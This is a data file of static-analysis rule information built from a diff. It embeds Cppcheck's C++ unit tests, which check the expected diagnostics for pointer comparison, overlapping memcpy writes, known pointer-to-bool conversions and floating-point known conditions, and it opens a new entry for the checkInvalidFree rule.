ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInvalidFree.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInvalidFree.json new file mode 100644 index 0000000..a23b662 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInvalidFree.json @@ -0,0 +1,22 @@ +{ + "name": "checkInvalidFree", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 64, + "branches": 19, + "apis": 75, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 9318 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n 